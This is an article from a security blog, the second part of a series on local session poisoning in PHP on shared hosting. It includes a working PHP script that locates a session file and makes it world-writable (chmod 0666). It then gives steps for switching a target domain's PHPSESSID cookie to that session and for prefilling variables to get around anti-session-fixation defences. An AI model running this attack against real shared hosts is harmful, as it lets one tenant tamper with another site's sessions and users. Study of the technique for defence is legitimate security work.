Articles of Haxxor Security

Mango

FastCGI, suPHP and suExec can all ensure that a PHP script which is called from the web will execute under the user that owns it, as opposed to the user the web server is running as. This seemingly protects against session poisoning by ensuring that a malicious user no longer can open and manipulate session files owned by other users in a shared host.

The hidden pitfall is that while these protection mechanisms protect session files from unauthorized access, they can not prevent a user from authorizing others to access its session files. If all the session files are stored in a common folder it is trivial to trick a web application into loading session variables from a promiscuous session file.

Article series

Part 1: The Basics of Exploitation and How to Secure a Server
http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-1.html

Part 2: Promiscuous Session Files
http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-2.html

Part 3: Bypassing Suhosin's Session Encryption
http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-3.html

Creating a promiscuous session

Domain A and B are hosted on the same shared server. One user with access to domain B targets domain A.

On domain B, first choose a suitable session or initialize a new one. Then locate where the session files are stored. This path is usually set by the runtime configuration option session.save_path. If not, it defaults to the local temp directory, such as /tmp on most unix systems. Then find the session file. Its name is the prefix "sess_" followed by its session id. Change its permissions so that it is readable and writable by anyone. Now domain A as well as any other web application in that shared host can access and use this session.

Here is a script to automatically create a promiscuous session.
?

```
// Local Session Poisoning in PHP Part 2: Promiscuous Session Files
// http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-2.html
// Creating a promiscuous session

// Initsialize a session
@session_start();
// Get the session id
$sessid = session_id();
echo "[i] Session id: $sessid\n";
// Close the session
session_write_close();

// Retrieve the path where session files are saved
session_save_path(); // Might have to be called twice... not sure.
$sesspath = session_save_path();
//if(php_sapi_name()!=='cli')echo "

\n";

// Test session.save_handler
```

```
$sessmod = session_module_name();
if(empty($sessmod))$sessmod = ini_get('session.save_handler');
echo "[i] Session save handler: $sessmod\n";
if($sessmod !== 'files'){
 echo "[!] Possible Error: session.save_handler is set to '$sessmod'
instead of 'files'. Trying anyway.\n";
}
// If retrieving the path failed. Try this.
if(empty($sesspath)){
 $sesspath = ini_get('session.save_path');
 if(empty($sesspath)){
  if(function_exists('sys_get_temp_dir')){
   $sesspath = sys_get_temp_dir();
  }else{
   die('[!] Error:Cannot find session save path. Try setting it
manually.');
  }
 }
}
$sesspath = @array_pop(explode(';',$sesspath));
echo "[i] Session save path: $sesspath\n";
// Enumerate sessions
$sessions = array();
clearstatcache();
// Search for the session file
if(!findSessIn($sesspath)){
 die("[!] Error: Cannot open the session save path.\n");
}
die('[!] Error: Cannot find session file. Try it manually.');

function findSessIn($dir){
 global $sessid;
 if(!($handler = opendir($dir))){
  return false;
 }
 while ($file = readdir($handler)){
  $path = substr($dir, -1) === DIRECTORY_SEPARATOR ? $dir.$file :
$dir.DIRECTORY_SEPARATOR.$file;
  if ($file === 'sess_'.$sessid){
   // Found the session file
   echo "[i] Found session file: $path\n";
   // Change permissions
   if(chmod($path, 0666)){
    echo "[i] Session file permissions set to
".substr(decoct(fileperms($path)),2)."\n";
    echo "[*] Done! Promiscuous session $sessid successfully created.\n";
    echo "[i] Now modify the PHPSESSID cookie to use it.\n";
    die();
   }else{
    echo "[i] Failed to chmod session file to 0666. Try doing it
manually.\n";
   }
   return true;
  }elseif(strlen($file) === 1 && is_dir($path) && $file !== '.'){
   findSessIn($path);
  }
 }
 closedir($handler);
```

```
   return true;
  }
  ?>
```

Using a promiscuous session

When a session file has been made readable and writable by anyone on the server, a web application on domain A can load its session variables from it.

Modify the PHPSESSID cookie belonging to the targeted web application on domain A to use the promiscuous session's id. Usually a browser extension that enables one to modify ones cookies is to prefer, but unless the HttpOnly flag on the cookie is set, JavaScript will do.

This link contains a small bookmarklet cookie editor, save it as a bookmark or copy-paste it into the browsers address bar. Execute it in the context of domain A and modify the PHPSESSID cookie.

When the session id in the cookie has been changed it will be sent to the web application in the next request made to it. The web application will take the session id, locate the session file, find out that it can both read and write to it and think of it as its own. From that web applications point of view, there is no difference between this and its normal sessions, although one important difference exists. Domain B can modify this session at will.

Anti session fixation

Note that this is a type of self inflicted session fixation. It will therefore be interrupted by anti session fixation techniques, which switches to a new session id. This will probably make one unable to keep the promiscuous session while authenticating or passing any other function that likely implements anti session fixation techniques. But by prefilling the session with the expected variables, it need not be a problem.